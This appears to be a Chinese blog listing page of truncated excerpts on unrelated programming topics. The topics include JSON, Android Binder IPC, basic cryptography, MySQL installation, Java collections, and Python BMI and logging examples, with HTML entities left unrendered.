Json 介绍 Json是一种轻量级的数据交换格式&#xff08;也叫数据序列化方式&#xff09;。Json采用完全独立于编程语言的文本格式来存储和表示数据。简洁和清晰的层次结构使得 Json 成为理想的数据交换语言。 易于人阅读和编写&#xff0c;同时也易于机器解析和生成&#xff…

Binder基本知识

1&#xff1a;IPC 原理 从进程角度来看 IPC 机制 每个 Android 的进程&#xff0c;只能运行在自己进程所拥有的虚拟地址空间。对应一个4GB 的虚拟地址空间&#xff0c;其中 3GB 是用户空间&#xff0c;1GB 是内核空间&#xff0c;当然内核空间的大小是可以通过参数配置调整的…

网络安全之密码学

目录 密码学 定义 密码的分类 对称加密 非对称加密 对称算法与非对称算法的优缺点 最佳解决办法 --- 用非对称加密算法加密对称加密算法的密钥 非对称加密如何解决对称加密的困境 密钥传输风险 密码管理难 常见算法 对称算法 非对称算法 完整性与身份认证最佳解决…

优维低代码:定制构件的打包及部署

优维低代码技术专栏&#xff0c;是一个全新的、技术为主的专栏&#xff0c;由优维技术委员会成员执笔&#xff0c;基于优维7年低代码技术研发及运维成果&#xff0c;主要介绍低代码相关的技术原理及架构逻辑&#xff0c;目的是给广大运维人提供一个技术交流与学习的平台。 连载…

用Python写一个BMI计算代码

有粉丝问我怎么写一个BMI算法&#xff0c;安排 height float(input("请输入身高&#xff08;米&#xff09;: ")) weight float(input("请输入体重&#xff08;千克&#xff09;: ")) 计算BMI bmi weight / (height ** 2) 显示结果 print("您的…

MySQL8.0.32安装以及环境配置

文章目录一、安装MySQL二、错误集1. 如果操作失误&#xff0c;可以重新安装一、安装MySQL 下载MySQL的社区版的压缩包&#xff1a;https://dev.mysql.com/get/Downloads/MySQL-8.0/mysql-8.0.32-winx64.zip 将压缩包解压到你要安装的目录中 将对应的安装路径添加到环境变量中…

Java面试核心知识点梳理(二)——Java集合

文章目录前言1. List1.1 ArrayList&#xff08;数组&#xff09;1.2 Vector&#xff08;数组、线程安全&#xff09;1.3 LinkedList&#xff08;链表&#xff09;2. Set2.1 HashSet&#xff08;Hash表&#xff09;2.2 TreeSet&#xff08;二叉树&#xff09;2.3 LinkHashSet&am…

3分钟通过日志定位bug,这个技能测试人必须会

♥ 前 言 软件开发中通过日志记录程序的运行情况是一个开发的好习惯&#xff0c;对于错误排查和系统运维都有很大帮助。 Python 标准库自带了强大的 logging 日志模块&#xff0c;在各种 python 模块中得到广泛应用。 一、简单使用 1. 入门小案例 import logging logging.ba…